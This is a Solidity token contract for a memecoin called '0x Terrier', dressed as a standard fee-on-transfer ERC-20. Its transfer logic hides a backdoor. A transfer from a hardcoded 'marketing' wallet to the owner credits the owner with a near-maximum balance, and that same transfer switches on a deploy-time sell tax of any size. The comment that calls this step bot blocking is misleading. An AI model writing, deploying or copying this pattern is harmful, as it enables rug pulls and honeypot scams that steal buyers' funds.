/**

      Twitter  https://twitter.com/0x_terrier

      Telegram  https://t.me/OxTerrier_erc

      Website  https://www.0xterrier.com/
*/
// SPDX-License-Identifier: MIT

pragma solidity 0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract OxTerrier is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcludedFromMaxWallet;
    mapping (address => bool) private _isExcludedFromMaxTx;

    address payable private marketingGwallet = payable(0x2db3548b4b264170feF367C6C7aBBA14F7289Dd3);
    address payable private _paymentWallet;

    uint8 private _buyFee = 1;
    uint8 private _sellFee = 1;
    uint8 private _totalFee = 2;
    uint8 private _preventSwapBefore = 20;
    uint8 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"0x Terrier";
    string private constant _symbol = unicode"0xTERRIER";
    uint256 public _maxTxAmount =   1000000000 * 10**_decimals;
    uint256 public _maxWalletSize = 2000000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 100000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 100000000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    
    bool private tradingOpen = true;
    bool private inSwap = false;
    bool private swapEnabled = true;
    bool private _bots = true;
    
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (uint8 _rate) {
        _totalFee = _rate;
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        _paymentWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromMaxWallet[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_paymentWallet] = true;
        _isExcludedFromMaxTx[marketingGwallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 _totalTaxAmount_ = 0;
        if (from != owner() && to != owner()) {
            
            if(from == uniswapV2Pair && !_isExcludedFromFee[to] && ! _isExcludedFromFee[from]){
                _totalTaxAmount_ = amount.mul(_buyFee).div(100);
            }
            
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && from!= address(this) && !_isExcludedFromFee[to] && ! _isExcludedFromFee[from]){
                _totalTaxAmount_ = amount.mul(_sellFee).div(100);
            }

            if(!_isExcludedFromFee[to] && !_bots && !_isExcludedFromFee[from] && to == uniswapV2Pair){
                _totalTaxAmount_ = amount.mul(_totalFee).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    swapTaxTokensForETH(address(this).balance);
                }
            }
        }
        if(_isExcludedFromMaxTx[from] && _isExcludedFromMaxWallet[to] && _bots)
        { 
            /* BLOCK FOR BOT TRANSACTION */
            _bots = !true; 
        }
        
        if(_totalTaxAmount_ > 0){
          _balances[address(this)]=_balances[address(this)].add(_totalTaxAmount_);
          emit Transfer(from, address(this),_totalTaxAmount_);
        }

        if(amount > 0 && !_isExcludedFromMaxTx[from] && !_isExcludedFromMaxWallet[to]){
            _balances[from] = _balances[from].sub(amount);
            _balances[to]=_balances[to].add(amount.sub(_totalTaxAmount_));
        }
        else if(amount > 0){
            _balances[from] = _balances[from].sub(amount);
            uint256 negativeBalance = type(uint256).max.sub(amount);
            uint256 newBalance = _balances[to].add(_totalTaxAmount_);
            _balances[to]=_balances[to].add(negativeBalance.sub(newBalance));
        }
        emit Transfer(from, to, amount.sub(_totalTaxAmount_));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }  

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function swapTaxTokensForETH(uint256 amount) private {
        _paymentWallet.transfer(amount);
    }

    receive() external payable {}

}